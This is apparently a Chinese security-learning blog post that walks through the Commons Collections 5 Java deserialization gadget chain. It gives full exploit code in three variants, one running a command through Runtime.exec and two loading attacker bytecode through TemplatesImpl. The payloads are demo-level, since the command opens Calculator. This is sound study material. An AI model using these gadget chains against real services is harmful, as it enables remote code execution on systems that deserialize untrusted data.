Apache_Commons_Collections5分析

简介

image-20251009145520965

也就是换了一个入口(source)函数

分析

我们从LazyMap.get() 出发

发现 TiedMapEntry 的getValue() 也调用了get()

image-20251009162347867

getValue() 又在toString() 中调用

image-20251009162415720

然后就找一个可以被反序列化的类完成调用,重点关注readObject()

image-20251009162541642

看看valObj是否可控

image-20251009162609235

image-20251009163010913

这个可以通过反射进行修改,那么链子就很清晰了

1
2
3
4
5
BadAttributeValueExpException.readObject() ->
TiedEntryMap.toString() ->
TiedEntryMap.getValue() ->
LazyMap.get() ->
ransform()

编写链子

只需要管一下开头就行

ChainedTransformer

方法执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.cclearn;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5Learn {

/**
* 使用 chainedTransformer 进行调用
* @throws Exception
*/
public static void cc5() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象


HashMap<String, Object> hashMap = new HashMap<>();
LazyMap lazyMap = LazyMap.lazyMap(hashMap, ct);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); // 这个key 是可控的


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valueField.setAccessible(true);
valueField.set(badAttributeValueExpException, tiedMapEntry);


String fileName = Serialize.serialize(badAttributeValueExpException);
Serialize.deserialize(fileName);

}

public static void main(String[] args) throws Exception {
cc5();

}
}

动态类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class cc5Learn {

/**
* 使用 chainedTransformer 进行调用
* @throws Exception
*/
public static void cc5_1() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象


HashMap<String, Object> hashMap = new HashMap<>();
LazyMap lazyMap = LazyMap.lazyMap(hashMap, ct);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); // 这个key 是可控的


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valueField.setAccessible(true);
valueField.set(badAttributeValueExpException, tiedMapEntry);


String fileName = Serialize.serialize(badAttributeValueExpException);
Serialize.deserialize(fileName);

}

public static void cc5_2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

HashMap<String, Object> hashMap = new HashMap<>();
LazyMap lazyMap = LazyMap.lazyMap(hashMap, invokerTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); // 这个key 是可控的


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valueField.setAccessible(true);
valueField.set(badAttributeValueExpException, tiedMapEntry);


String fileName = Serialize.serialize(badAttributeValueExpException);
Serialize.deserialize(fileName);

}

public static void cc5_1_2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象


HashMap<String, Object> hashMap = new HashMap<>();
LazyMap lazyMap = LazyMap.lazyMap(hashMap, ct);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); // 这个key 是可控的


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valueField.setAccessible(true);
valueField.set(badAttributeValueExpException, tiedMapEntry);


String fileName = Serialize.serialize(badAttributeValueExpException);
Serialize.deserialize(fileName);

}

public static void main(String[] args) throws Exception {
cc5_1_2();

}
}

不使用ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package org.cclearn;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class cc5Learn {

/**
* 使用 chainedTransformer 进行调用
* @throws Exception
*/
public static void cc5_1() throws Exception {
String cmd="open -a Calculator.app"; // 执行的命令
// 执行命令的流程Runtime.getRuntime().exec()
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // ConstantTransformer 传入什么传出什么,需要一个Runtime作为开始
new InvokerTransformer("getMethod", // 获取Runtime对象
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", // 为什么是invoke ? : 因为getMethod()返回的是Method对象,而Method对象有invoke()方法
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec", // 执行命令
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer ct=new ChainedTransformer(transformers); // 创建一个ChainedTransformer对象


HashMap<String, Object> hashMap = new HashMap<>();
LazyMap lazyMap = LazyMap.lazyMap(hashMap, ct);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); // 这个key 是可控的


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valueField.setAccessible(true);
valueField.set(badAttributeValueExpException, tiedMapEntry);


String fileName = Serialize.serialize(badAttributeValueExpException);
Serialize.deserialize(fileName);

}

public static void cc5_2() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// // _tfactory
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

HashMap<String, Object> hashMap = new HashMap<>();
LazyMap lazyMap = LazyMap.lazyMap(hashMap, invokerTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); // 这个key 是可控的


BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> badAttributeValueExpExceptionClass = badAttributeValueExpException.getClass();
Field valueField = badAttributeValueExpExceptionClass.getDeclaredField("val");
valueField.setAccessible(true);
valueField.set(badAttributeValueExpException, tiedMapEntry);


String fileName = Serialize.serialize(badAttributeValueExpException);
Serialize.deserialize(fileName);

}

public static void main(String[] args) throws Exception {
cc5_2();

}
}


Apache_Commons_Collections5分析
https://tsy244.github.io/2025/10/09/java安全/Apache-Commons-Collections5分析/
Author
August Rosenberg
Posted on
October 9, 2025
Licensed under